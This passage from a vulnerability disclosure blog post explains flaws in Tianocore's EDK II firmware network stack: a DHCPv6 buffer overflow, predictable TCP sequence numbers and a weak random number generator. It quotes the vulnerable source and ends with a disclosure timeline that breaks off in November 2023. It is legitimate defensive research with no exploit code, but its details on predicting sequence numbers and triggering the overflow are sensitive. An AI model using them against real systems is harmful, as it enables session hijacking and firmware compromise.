<p>If the DHCPv6 offer it has received is a proxy one ([2]), then the function searches for the <em>Server ID</em> option contained within said DHCPv6 offer ([3]), and proceeds to copy it to <code>Discover->DhcpOptions</code> (the buffer that was previously allocated in the pool at [1]), blindly trusting the option length as the size of the copy, which is fully controlled by the DHCPv6 server ([4]).</p>
<p>As a result, if the <em>Server ID</em> option of the DHCPv6 proxy offer is longer than 1024 bytes (the size of the <code>DhcpOptions</code> member of the <code>EFI_PXE_BASE_CODE_DHCPV6_PACKET</code> struct), it results in a pool buffer overflow.</p>
<h3>CVE-2023-45236: Predictable TCP Initial Sequence Numbers</h3>
<p>Predictable TCP Initial Sequence Numbers (ISNs) are known to be a security issue since 1985 (see <a href="http://nil.lcs.mit.edu/rtm/papers/117.pdf">Morris1985</a> and <a href="https://www.cs.columbia.edu/~smb/papers/acsac-ipext.pdf">Belovin1989</a>) and a practical attack that exploits it was described in 1995 by Laurent Joncheray (<a href="https://www.usenix.org/legacy/publications/library/proceedings/security95/full_papers/joncheray.pdf">Joncheray1995</a>). A real world instance of an attack that exploited weak TCP ISNs to inject data in a TCP session to compromise a system was disclosed in 1995 (<a href="https://www.win.tue.nl/~aeb/linux/hh/shimomura-25jan95.txt">Shimomura1995</a>).</p>
<p>Given these and other findings, <a href="https://www.rfc-editor.org/rfc/rfc1948">RFC1948</a> proposed an algorithm to generate TCP ISNs in a way that prevents the described attack. In 2012 <a href="https://www.rfc-editor.org/rfc/rfc6528">RFC6528</a> officially updated the TCP protocol specification and the new TCP ISN algorithm achieved the status of Proposed Standard. In August 2022, <a href="https://datatracker.ietf.org/doc/html/rfc9293">RFC 9293</a> a revision of the core TCP specification was published as the new Internet Standard, and the aforementioned algorithm was recommended for the generation of TCP ISNs.</p>
<p>The TCP implementation in Tianocore's EDK II IP stack generates trivially predictable TCP Initial Sequence Numbers and it is therefore vulnerable to TCP session hijack attacks.</p>
<p>The ISN for a new TCP instance is populated in <code>TcpInitTcbLocal</code> by calling <code>TcpGetIss()</code> as shown below
in file <a href="https://github.com/tianocore/edk2/blob/master/NetworkPkg/TcpDxe/TcpMisc.c#L69">TcpMisc.c</a></p>
<div class="highlight"><pre><span></span><code><span class="n">TcpInitTcbLocal</span><span class="w"> </span><span class="p">(</span><span class="w"></span>
<span class="w"> </span><span class="n">IN</span><span class="w"> </span><span class="n">OUT</span><span class="w"> </span><span class="n">TCP_CB</span><span class="w"> </span><span class="o">*</span><span class="n">Tcb</span><span class="w"></span>
<span class="w"> </span><span class="p">)</span><span class="w"></span>
<span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="c1">//</span>
<span class="w"> </span><span class="c1">// Compute the checksum of the fixed parts of pseudo header</span>
<span class="w"> </span><span class="c1">//</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">Tcb</span><span class="o">-></span><span class="n">Sk</span><span class="o">-></span><span class="n">IpVersion</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="n">IP_VERSION_4</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="n">Tcb</span><span class="o">-></span><span class="n">HeadSum</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">NetPseudoHeadChecksum</span><span class="w"> </span><span class="p">(</span><span class="w"></span>
<span class="w"> </span><span class="n">Tcb</span><span class="o">-></span><span class="n">LocalEnd</span><span class="p">.</span><span class="n">Ip</span><span class="p">.</span><span class="n">Addr</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span><span class="w"></span>
<span class="w"> </span><span class="n">Tcb</span><span class="o">-></span><span class="n">RemoteEnd</span><span class="p">.</span><span class="n">Ip</span><span class="p">.</span><span class="n">Addr</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span><span class="w"></span>
<span class="w"> </span><span class="mh">0x06</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="mi">0</span><span class="w"></span>
<span class="w"> </span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="n">Tcb</span><span class="o">-></span><span class="n">HeadSum</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">NetIp6PseudoHeadChecksum</span><span class="w"> </span><span class="p">(</span><span class="w"></span>
<span class="w"> </span><span class="o">&</span><span class="n">Tcb</span><span class="o">-></span><span class="n">LocalEnd</span><span class="p">.</span><span class="n">Ip</span><span class="p">.</span><span class="n">v6</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="o">&</span><span class="n">Tcb</span><span class="o">-></span><span class="n">RemoteEnd</span><span class="p">.</span><span class="n">Ip</span><span class="p">.</span><span class="n">v6</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="mh">0x06</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="mi">0</span><span class="w"></span>
<span class="w"> </span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"></span>
<span class="o">></span><span class="w"> </span><span class="n">Tcb</span><span class="o">-></span><span class="n">Iss</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">TcpGetIss</span><span class="w"> </span><span class="p">();</span><span class="w"> </span><span class="cm">/** new ISN is populated **/</span><span class="w"></span>
<span class="w"> </span><span class="n">Tcb</span><span class="o">-></span><span class="n">SndUna</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Tcb</span><span class="o">-></span><span class="n">Iss</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="n">Tcb</span><span class="o">-></span><span class="n">SndNxt</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Tcb</span><span class="o">-></span><span class="n">Iss</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="n">Tcb</span><span class="o">-></span><span class="n">SndWl2</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Tcb</span><span class="o">-></span><span class="n">Iss</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="n">Tcb</span><span class="o">-></span><span class="n">SndWnd</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">536</span><span class="p">;</span><span class="w"></span>
</code></pre></div>
<p>The function <code>TcpGetIss</code> simply increments a global counter using a fixed increment as seen <a href="https://github.com/tianocore/edk2/blob/master/NetworkPkg/TcpDxe/TcpMisc.c#L514">below</a>:</p>
<div class="highlight"><pre><span></span><code><span class="n">TCP_SEQNO</span><span class="w"></span>
<span class="nf">TcpGetIss</span><span class="w"> </span><span class="p">(</span><span class="w"></span>
<span class="w"> </span><span class="n">VOID</span><span class="w"></span>
<span class="w"> </span><span class="p">)</span><span class="w"></span>
<span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="n">mTcpGlobalIss</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="n">TCP_ISS_INCREMENT_1</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="n">mTcpGlobalIss</span><span class="p">;</span><span class="w"></span>
<span class="p">}</span><span class="w"></span>
</code></pre></div>
<p>The global variable <code>mTcpGlobalIss</code> is initialized to a fixed value in <a href="https://github.com/tianocore/edk2/blob/master/NetworkPkg/TcpDxe/TcpMisc.c#L23">line 23 of TcpMisc.c</a></p>
<div class="highlight"><pre><span></span><code><span class="n">TCP_SEQNO</span><span class="w"> </span><span class="n">mTcpGlobalIss</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">TCP_BASE_ISS</span><span class="p">;</span><span class="w"></span>
</code></pre></div>
<p>The global variable is also updated with a fixed increment by the timer in <a href="https://github.com/tianocore/edk2/blob/master/NetworkPkg/TcpDxe/TcpTimer.c#L486">TcpTimer.c</a></p>
<div class="highlight"><pre><span></span><code><span class="n">VOID</span><span class="w"></span>
<span class="n">EFIAPI</span><span class="w"></span>
<span class="n">TcpTickingDpc</span><span class="w"> </span><span class="p">(</span><span class="w"></span>
<span class="w"> </span><span class="n">IN</span><span class="w"> </span><span class="n">VOID</span><span class="w"> </span><span class="o">*</span><span class="n">Context</span><span class="w"></span>
<span class="w"> </span><span class="p">)</span><span class="w"></span>
<span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="n">LIST_ENTRY</span><span class="w"> </span><span class="o">*</span><span class="n">Entry</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="n">LIST_ENTRY</span><span class="w"> </span><span class="o">*</span><span class="n">Next</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="n">TCP_CB</span><span class="w"> </span><span class="o">*</span><span class="n">Tcb</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="n">INT16</span><span class="w"> </span><span class="n">Index</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="n">mTcpTick</span><span class="o">++</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="n">mTcpGlobalIss</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="n">TCP_ISS_INCREMENT_2</span><span class="p">;</span><span class="w"></span>
</code></pre></div>
<p>The values <code>TCP_BASE_ISS</code>, <code>TCP_ISS_INCREMENT_1</code> and <code>TCP_ISS_INCREMENT_2</code> are defined in <a href="https://github.com/tianocore/edk2/blob/master/NetworkPkg/TcpDxe/TcpMain.h#L52">TcpMain.h</a>:</p>
<div class="highlight"><pre><span></span><code><span class="c1">///</span>
<span class="c1">/// The implementation selects the initial send sequence number and the unit to</span>
<span class="c1">/// be added when it is increased.</span>
<span class="c1">///</span>
<span class="cp">#define TCP_BASE_ISS 0x4d7e980b</span>
<span class="cp">#define TCP_ISS_INCREMENT_1 2048</span>
<span class="cp">#define TCP_ISS_INCREMENT_2 100</span>
</code></pre></div>
<p>Therefore Tianocore's EDK II TCP implementation generates ISNs using fixed increments from a fixed base value and thus is susceptible to TCP session injection and session hijack attacks.</p>
<h3>CVE-2023-45237: Use of a Weak PseudoRandom Number Generator</h3>
<p>The EDK II IP stack uses a pseudorandom number generator which is defined in <a href="https://github.com/tianocore/edk2/blob/master/NetworkPkg/Include/Library/NetLib.h#L542"><code>Network/Include/Library/NetLIb.h</code></a> as:</p>
<div class="highlight"><pre><span></span><code><span class="cp">#define NET_RANDOM(Seed) ((UINT32) ((UINT32) (Seed) * 1103515245UL + 12345) % 4294967295UL)</span>
</code></pre></div>
<p>Throughout the NetworkPkg stack the above macro is used with <code>Seed</code> usually taking the value from the <code>NetRandomInitSeed()</code> function defined in <a href="https://github.com/tianocore/edk2/blob/master/NetworkPkg/Library/DxeNetLib/DxeNetLib.c#L898">NetworkPkg/Library/DxeNetLib/DxeNetLib.c</a> as follows:</p>
<div class="highlight"><pre><span></span><code><span class="n">UINT32</span><span class="w"></span>
<span class="n">EFIAPI</span><span class="w"></span>
<span class="n">NetRandomInitSeed</span><span class="w"> </span><span class="p">(</span><span class="w"></span>
<span class="w"> </span><span class="n">VOID</span><span class="w"></span>
<span class="w"> </span><span class="p">)</span><span class="w"></span>
<span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="n">EFI_TIME</span><span class="w"> </span><span class="n">Time</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="n">UINT32</span><span class="w"> </span><span class="n">Seed</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="n">UINT64</span><span class="w"> </span><span class="n">MonotonicCount</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="n">gRT</span><span class="o">-></span><span class="n">GetTime</span><span class="w"> </span><span class="p">(</span><span class="o">&</span><span class="n">Time</span><span class="p">,</span><span class="w"> </span><span class="nb">NULL</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="n">Seed</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">Time</span><span class="p">.</span><span class="n">Hour</span><span class="w"> </span><span class="o"><<</span><span class="w"> </span><span class="mi">24</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">Time</span><span class="p">.</span><span class="n">Day</span><span class="w"> </span><span class="o"><<</span><span class="w"> </span><span class="mi">16</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">Time</span><span class="p">.</span><span class="n">Minute</span><span class="w"> </span><span class="o"><<</span><span class="w"> </span><span class="mi">8</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">Time</span><span class="p">.</span><span class="n">Second</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="n">Seed</span><span class="w"> </span><span class="o">^=</span><span class="w"> </span><span class="n">Time</span><span class="p">.</span><span class="n">Nanosecond</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="n">Seed</span><span class="w"> </span><span class="o">^=</span><span class="w"> </span><span class="n">Time</span><span class="p">.</span><span class="n">Year</span><span class="w"> </span><span class="o"><<</span><span class="w"> </span><span class="mi">7</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="n">gBS</span><span class="o">-></span><span class="n">GetNextMonotonicCount</span><span class="w"> </span><span class="p">(</span><span class="o">&</span><span class="n">MonotonicCount</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="n">Seed</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="p">(</span><span class="n">UINT32</span><span class="p">)</span><span class="n">MonotonicCount</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="n">Seed</span><span class="p">;</span><span class="w"></span>
<span class="p">}</span><span class="w"></span>
</code></pre></div>
<p>The above function outputs an integer value based on the platform's clock time at which the function is called and the platform's monotonic counter. The C language idiom <code>NET_RANDOM (NetRandomInitSeed()</code> is used in several <code>NetworkPkg</code> functions to generate supposedly random unique numeric identifiers for various network protocol fields. Generating numbers in such a way does not produce random numbers with a uniform distribution, instead, it produces easily predictable numbers and a biased distribution. Furthermore, the use of the same idiom in different network layers to assign allegedly random values to protocols' fields or objects makes it possible for an external observer to recover the internal state of the generator by obtaining samples of the numbers used in any such network layer.</p>
<p>The idiom is used to generate DNS query IDs in <a href="https://github.com/tianocore/edk2/blob/master/NetworkPkg/DnsDxe/DnsImpl.c#L1980"><code>ConstructDNSQuery</code></a>:</p>
<div class="highlight"><pre><span></span><code><span class="n">ConstructDNSQuery</span><span class="w"> </span><span class="p">(</span><span class="w"></span>
<span class="w"> </span><span class="n">IN</span><span class="w"> </span><span class="n">DNS_INSTANCE</span><span class="w"> </span><span class="o">*</span><span class="n">Instance</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="n">IN</span><span class="w"> </span><span class="n">CHAR8</span><span class="w"> </span><span class="o">*</span><span class="n">QueryName</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="n">IN</span><span class="w"> </span><span class="n">UINT16</span><span class="w"> </span><span class="n">Type</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="n">IN</span><span class="w"> </span><span class="n">UINT16</span><span class="w"> </span><span class="n">Class</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="n">OUT</span><span class="w"> </span><span class="n">NET_BUF</span><span class="w"> </span><span class="o">**</span><span class="n">Packet</span><span class="w"></span>
<span class="w"> </span><span class="p">)</span><span class="w"></span>
<span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="p">...</span><span class="w"></span>
<span class="w"> </span><span class="c1">//</span>
<span class="w"> </span><span class="c1">// Fill header</span>
<span class="w"> </span><span class="c1">//</span>
<span class="w"> </span><span class="n">DnsHeader</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">DNS_HEADER</span><span class="w"> </span><span class="o">*</span><span class="p">)</span><span class="n">Frag</span><span class="p">.</span><span class="n">Bulk</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="n">DnsHeader</span><span class="o">-></span><span class="n">Identification</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">UINT16</span><span class="p">)</span><span class="n">NET_RANDOM</span><span class="w"> </span><span class="p">(</span><span class="n">NetRandomInitSeed</span><span class="w"> </span><span class="p">());</span><span class="w"></span>
<span class="w"> </span><span class="n">DnsHeader</span><span class="o">-></span><span class="n">Flags</span><span class="p">.</span><span class="n">Uint16</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mh">0x0000</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="n">DnsHeader</span><span class="o">-></span><span class="n">Flags</span><span class="p">.</span><span class="n">Bits</span><span class="p">.</span><span class="n">RD</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">1</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="n">DnsHeader</span><span class="o">-></span><span class="n">Flags</span><span class="p">.</span><span class="n">Bits</span><span class="p">.</span><span class="n">OpCode</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">DNS_FLAGS_OPCODE_STANDARD</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="n">DnsHeader</span><span class="o">-></span><span class="n">Flags</span><span class="p">.</span><span class="n">Bits</span><span class="p">.</span><span class="n">QR</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">DNS_FLAGS_QR_QUERY</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="p">...</span><span class="w"></span>
</code></pre></div>
<p>It is also used to initialize the value of the IPv4 IP ID field in <a href="https://github.com/tianocore/edk2/blob/master/NetworkPkg/Ip4Dxe/Ip4Driver.c#L656"><code>Ip4DriverBindingStart()</code></a>:</p>
<div class="highlight"><pre><span></span><code><span class="c1">//</span>
<span class="w"> </span><span class="c1">// Initialize the IP4 ID</span>
<span class="w"> </span><span class="c1">//</span>
<span class="w"> </span><span class="n">mIp4Id</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">UINT16</span><span class="p">)</span><span class="n">NET_RANDOM</span><span class="w"> </span><span class="p">(</span><span class="n">NetRandomInitSeed</span><span class="w"> </span><span class="p">());</span><span class="w"></span>
</code></pre></div>
<p>which is simply incremented for each outgoing IPv4 datagram in <a href="https://github.com/tianocore/edk2/blob/master/NetworkPkg/Ip4Dxe/Ip4Output.c#L258"><code>Ip4Output()</code></a></p>
<div class="highlight"><pre><span></span><code><span class="w"> </span><span class="c1">// Before IPsec process, prepared the IP head.</span>
<span class="w"> </span><span class="c1">// If Ip4Output is transmitting RawData, don't update IPv4 header.</span>
<span class="w"> </span><span class="c1">//</span>
<span class="w"> </span><span class="n">HeadLen</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">sizeof</span><span class="w"> </span><span class="p">(</span><span class="n">IP4_HEAD</span><span class="p">)</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="p">((</span><span class="n">OptLen</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">3</span><span class="p">)</span><span class="w"> </span><span class="o">&</span><span class="w"> </span><span class="p">(</span><span class="o">~</span><span class="mh">0x03</span><span class="p">));</span><span class="w"></span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">((</span><span class="n">IpInstance</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="nb">NULL</span><span class="p">)</span><span class="w"> </span><span class="o">&&</span><span class="w"> </span><span class="n">IpInstance</span><span class="o">-></span><span class="n">ConfigData</span><span class="p">.</span><span class="n">RawData</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="n">RawData</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">TRUE</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="n">Head</span><span class="o">-></span><span class="n">HeadLen</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">UINT8</span><span class="p">)(</span><span class="n">HeadLen</span><span class="w"> </span><span class="o">>></span><span class="w"> </span><span class="mi">2</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="n">Head</span><span class="o">-></span><span class="n">Id</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">mIp4Id</span><span class="o">++</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="n">Head</span><span class="o">-></span><span class="n">Ver</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">4</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="n">RawData</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">FALSE</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"></span>
</code></pre></div>
<p>The same idiom is used to initialize the fragment ID for IPv6 fragmentation Extension Headers, to generate DHCP transaction IDs on both Dhcp4 and Dhcp6 code, to obtain ephemeral port numbers for UDP and TCP, and in other parts of the stack.</p>
<p>The security and privacy vulnerabilities arising from the use of a weak pseudorandom number generator in various Internet Protocols are described in <a href="https://datatracker.ietf.org/doc/rfc9414/">RFC 9414</a> and a number of algorithms to address those issues are suggested in <a href="https://datatracker.ietf.org/doc/rfc9414/">RFC 9415</a>. In this particular case, the use of a weak PRNG could facilitate DNS and DHCP poisoning attacks, information leakage, denial of service, and data insertion attacks at the IPv4 and IPv6 layer (due also to the use of a per datagram unit increment of the corresponding ID fields).</p>
<p>At the root of this issue is the use of a <em>Linear Congruential Generator</em> to generate a sequence of pseudorandom <em>security-sensitive</em> numbers. The unsuitability of LCGs for security-sensitive purposes (where the numbers generated should not be guessable) has been known for decades, for example in <a href="https://www.enseignement.polytechnique.fr/profs/informatique/Francois.Morain/Master1/Crypto/projects/Stern87.pdf">Stern 1987</a>.</p>
<h2>Updates</h2>
<p>As a response to this blogpost, Binarly REsearch added <a href="https://github.com/binarly-io/FwHunt/tree/main/rules/Vulnerabilities/EDK2/PixieFAIL">nine corresponding rules</a> to FwHunt, their UEFI analyzer.</p>
<h3>Acknowledgements</h3>
<p>We would like to thank our colleagues at Quarkslab for providing feedback and reviewing and editing this blog post.
We would also like to thank Vijay Sarvepalli of CERT/CC, the team members of CERT-FR, and all the PSIRT and product security coordinators from the multiple vendors that participated in the disclosure process.</p>
<h3>Disclosure timeline</h3>
<p>Below we include a timeline of all the relevant events during the coordinated vulnerability disclosure process with the intent of providing transparency to the whole process and our actions. The timeline also serves as a detailed example of the complexity of reporting vulnerabilities and coordinating the development and release of security fixes in a complex multi-vendor firmware supply chain.</p>
<ul>
<li><strong>2023-08-03</strong> Quarkslab sent to CERT/CC a report describing the vulnerabilities and providing proof-of-concept programs to reproduce the first 7 of them. A case was opened in CERT's vulnerability coordination portal. Disclosure deadline is set to November 2nd, 2023.</li>
<li><strong>2023-08-03</strong> <strong>CERT/CC made the report in the vulnerability reporting portal available to vendors and set the target disclosure date to November 2nd, 2023</strong>.</li>
<li><strong>2023-08-04</strong> Quarkslab opened 9 issues in Google's ChromeOS issue tracker because EDK2 is included as a package in the ChromeOS source code tree.</li>
<li><strong>2023-08-05</strong> Google indicated that EDK2 is not used in production Chromebooks and therefore they are not affected by the vulnerabilities.</li>
<li><strong>2023-08-08</strong> Tianocore opened an issue in their issue tracker.</li>
<li><strong>2023-08-08</strong> Insyde Software requested clarifications about the disclosure date. Quarkslab indicated disclosure is set to November 2nd, 2023, 90 days since the initial report.</li>
<li><strong>2023-08-17</strong> Quarkslab posted on the vulnerability coordination portal a request for a status update and asked if the vulnerabilities have been triaged, if any vendors have confirmed being vulnerable, if there were any estimated dates for fixes, if CVEs have been assigned, and indicated that it did not have access to Tianocore's bug tracking system to see progress on the treatment of the issues.</li>
<li><strong>2023-
08-18</strong> AMI informed that Tianocore's PSIRT lead had retired and explained that once a new one was assigned, a volunteer would pick up the issue. Indicated that November 2nd, 2023 was too optimistic for a deadline and asked if Quarkslab had plans for public disclosure.</li>
<li><strong>2023-08-18</strong> Quarkslab replied that disclosure was potentially planned in talk at an upcoming security conference and that in any case, results of the associated research project had to be published in 2023.</li>
<li><strong>2023-08-18</strong> AMI informed that Tianocore was considering acknowledging vulnerability finders in their public advisories and that to improve responsiveness anyone could contribute fixes.</li>
<li><strong>2023-08-20</strong> Quarkslab encouraged Tianocore's adoption of the policy of acknowledging bug finders as other vendors do and asked if it was suggested that to improve responsiveness Quarkslab should contribute the fixes. Indicated that the suggestion would be considered but since vendors in the Tianocore consortium had 100x to 1000x more engineering capacity and based their commercial UEFI implementations on EDK2, it would be more reasonable for them to develop the fixes and not rely on external contributors.</li>
<li><strong>2023-08-28</strong> AMI wrote that often researchers are well positioned to implement fixes, informed that it opened 9 issues in Tianocore bug tracker to follow each vulnerability individually, and asked if Quarkslab felt it could remediate any. </li>
<li><strong>2023-08-28</strong> Quarkslab replied that the maintainers and developers of EDK2 would be in the best position to develop and test fixes, as they are already familiar with the code and do not have to incur in any setup cost to do it. Quarkslab would rather like that the organizations supporting Tianocore dedicated their vast resources to implement fixes in a timely manner. In Quarkslab's opinion, fixes for vulnerabilities 1 to 7 should be easy to produce quickly, while vulnerabilities 8 and 9 would take more time as they require implementation and use of a new PRNG (possibly using building blocks that already exist in EDK2) in the PXE stack. However, given that these issues have been known and documented for over a quarter of a century, they should be considered public knowledge in any open source network stack.</li>
<li><strong>2023-09-06</strong> Insyde Software asked Quarkslab if the publication date could be postponed by 30 days, as the issues had to be addressed by 4 sets of PSIRT teams (Tianocore, IFVs, ODMs, OEMs). </li>
<li><strong>2023-09-06</strong> Quarkslab agreed to re-schedule disclosure to December 1st, 2023 and said that so far only Insyde Software indicated it was affected and addressing the vulnerabilities.</li>
<li><strong>2023-09-09</strong> Phoenix Technologies indicated that several members of Tianocore's open-source community were working on patches, and the first 7 vulnerabilities would have patches shortly and the other two would take a bit longer. CVEs would be assigned soon. </li>
<li><strong>2023-09-10</strong> Phoenix Technologies shared the CVEs assigned by Tianocore.</li>
<li><strong>2023-09-11</strong> A Tianocore core developer indicated that he was working on making fixes unit-testable.</li>
<li><strong>2023-09-14</strong> <strong>CERT/CC updated the target disclosure date to December 1st, 2023</strong>.</li>
<li><strong>2023-10-06</strong> AMI indicated that non-validated patches were available on Tianocore's bug tracker.</li>
<li><strong>2023-10-12</strong> Google indicated that it removed the unused EDK2 package from their source code repos. The 9 issues were closed.</li>
<li><strong>2023-10-23</strong> Microsoft asked if it was possible to postpose the Dec. 1, 2023 disclosure date as they would need more time to deploy a complete fix on their cloud infrastructure and depended on some partners for it. Also asked if Quarkslab was to publish the details in a blog post.</li>
<li><strong>2023-10-23</strong> Quarkslab agreed to reschedule disclosure to December 7th, 2023 but reminded that, as stated in August, needed to publish the research work within 2023. It also indicated that since vendors were already progressing towards releasing fixes, it did not think reasonable to delay disclosure much longer, and confirmed that details about the vulnerabilities would be published in a blog post.</li>
<li><strong>2023-10-25</strong> Microsoft said that postponing disclosure one week was immaterial as it would not allow sufficient time to roll out comprehensive fixes to customers. Asked for the specific technical content of the blog post to be published, expressing concerns that exploit code would be included and asked if it was possible not to do so. Indicated that they had confirmed with Tianocore that patches were not finalized yet and were unlikely to be available before the December disclosure date and that they disagreed with Quarkslab's assumption that "vendors were progressing towards releasing fixes". Microsoft asked to hold off disclosure until May 2024.</li>
<li><strong>2023-10-25</strong> A Tianocore core developer requested more time to get products patched and clarified that there were no validated patches on the open source side yet, a first draft had been submitted for review and the expectation was they'd become available in November to Tianocore's infosec community. Patches would then have to be integrated, tested and deployed to customer devices which usually takes months. The core developer referenced a <a href="https://uefi.org/sites/default/files/resources/What%20is%20UEFI-Aug31-2023-Final.pdf">UEFI Forum paper</a> which describes the complex supply chain challenges of the UEFI ecosystem, and indicated that "any public announcement before middle of 2024 would cause significant negative impact."</li>
<li><strong>2023-10-25</strong> Phoenix Technologies expressed strong support for Tianocore's and Microsoft's position and indicated that the ongoing case was mentioned in a podcast (without providing any technical details) to exemplify the difficulties of producing patches and why embargo lengths must be flexible. </li>
<li><strong>2023-10-27</strong> CERT/CC asked Tianocore and vendors to continue working with supply-chain channels and partners towards the disclosure date as it may be difficult for Quarkslab to postpone it since it was also working with other stakeholders.</li>
<li><strong>2023-11-01</strong> A Tianocore core developer indicated that some patches were being unit tested and submitted for validation.</li>
<li><strong>2023-11-07</strong> AMI told Quarkslab that Tianocore considered CVE-2023-45236 and CVE-2023-45237 weaknesses rather than vulnerabilities primarily due to lack of "proven, computationally feasible exploitability" and asked to provide a PoC if it existed.</li>
<li><strong>2023-11-08</strong> Dell asked for confirmation that Quarkslab planned to disclose the vulnerabilities in a blog post.</li>
<li><strong>2023-11-11</strong> Microsoft asked Quarkslab to share a technical draft of the contents that would be published in the blog, reiterated its concerns that it would contain explicit details regarding exploit code and asked for the exploit code not to be added.</li>
<li><strong>2023-11-13</strong> Dell agreed with Microsoft's position that delaying disclosure one week did not make a difference, and said that a later disclosure (May 2024) would be more suitable. </li>
<li><strong>2023-11-13</strong> A Tianocore core developer indicated that patches for the vulnerabilities 1 to 7 were available in a private Pull Request on Tianocore's GitHub repository.</li>
<li><strong>2023-11-13</strong> Microsoft stated that 4 vendors had expressed concerns about the December 12th, 2023 disclosure date and asked CERT/CC to relay their message to Quarkslab.</li>
